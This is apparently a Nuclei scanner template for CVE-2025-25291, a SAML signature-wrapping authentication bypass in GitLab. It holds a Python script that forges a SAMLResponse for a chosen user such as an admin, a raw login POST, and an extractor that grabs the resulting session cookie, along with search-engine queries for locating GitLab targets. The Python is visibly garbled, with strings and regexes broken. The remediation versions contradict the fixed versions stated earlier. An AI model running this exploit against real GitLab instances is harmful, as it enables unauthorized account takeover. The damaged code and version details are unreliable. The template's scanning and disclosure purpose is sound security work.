id: CVE-2025-25291 info: name: GitLab - SAML Authentication Bypass author: iamnoooob,rootxharsh,pdresearch severity: critical description: | ruby-saml provides security assertion markup language (SAML) single sign-on (SSO) for Ruby. An authentication bypass vulnerability was found in ruby-saml prior to versions 1.12.4 and 1.18.0 due to a parser differential. ReXML and Nokogiri parse XML differently; the parsers can generate entirely different document structures from the same XML input. That allows an attacker to be able to execute a Signature Wrapping attack. This issue may lead to authentication bypass. Versions 1.12.4 and 1.18.0 fix the issue. impact: | Unauthenticated attackers can bypass SAML SSO authentication through parser differential exploitation, enabling unauthorized access to GitLab instances without valid credentials. remediation: | This vulnerability is fixed in 1.17.0 and 1.12.3. reference: - https://portswigger.net/research/saml-roulette-the-hacker-always-wins - https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials/ - https://about.gitlab.com/releases/2025/03/12/patch-release-gitlab-17-9-2-released - https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials - https://github.com/SAML-Toolkits/ruby-saml/commit/e76c5b36bac40aedbf1ba7ffaaf495be63328cd9 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.3 cve-id: CVE-2025-25291 cwe-id: CWE-347 epss-score: 0.19506 epss-percentile: 0.97085 metadata: verified: true vendor: gitlab product: gitlab shodan-query: - http.title:"gitlab" - cpe:"cpe:2.3:a:gitlab:gitlab" - http.html:"gitlab enterprise edition" - http.html:"gitlab-ci.yml" fofa-query: - body="gitlab enterprise edition" - body="gitlab-ci.yml" - title="gitlab" google-query: intitle:"gitlab" tags: cve,cve2025,saml,auth-bypass,gitlab,code,vuln code: - engine: - py - python3 # requires python to be pre-installed on system running nuclei source: | import os,re import base64 import urllib.parse saml_response = os.getenv('SAMLResponse') username = os.getenv('username') saml_resp = base64.b64decode(urllib.parse.unquote(saml_response)) if not username: username='admin@example.com' prefix = ''']>" + saml_resp_mod[:-17].decode() + "" saml_resp_mod = re.sub(r'(]*>)[^<]+()', rf'\1{username}\2', saml_resp_mod, count=1) saml_resp_mod = re.sub(r'(]*>\s*]*>)[^<]+()', rf'\1{username}\2', saml_resp_mod, count=1) print(urllib.parse.quote(base64.b64encode(saml_resp_mod.encode()))) http: - raw: - | POST /users/auth/saml/callback HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded RelayState=undefined&SAMLResponse={{code_response}} matchers: - type: dsl dsl: - 'contains(header,"known_sign_in")' - 'status_code == 302' condition: and extractors: - type: kval kval: - _gitlab_session # digest: 4b0a00483046022100fe8bda8c080e476c4754a4c98902d38796b61d855b1ce1ee73fe0892862b1840022100f390a80e403a8e4020650dfd5db4e94027bbe57c721b5693e9690495aa512522:922c64590222798bb761d5b6d8e72950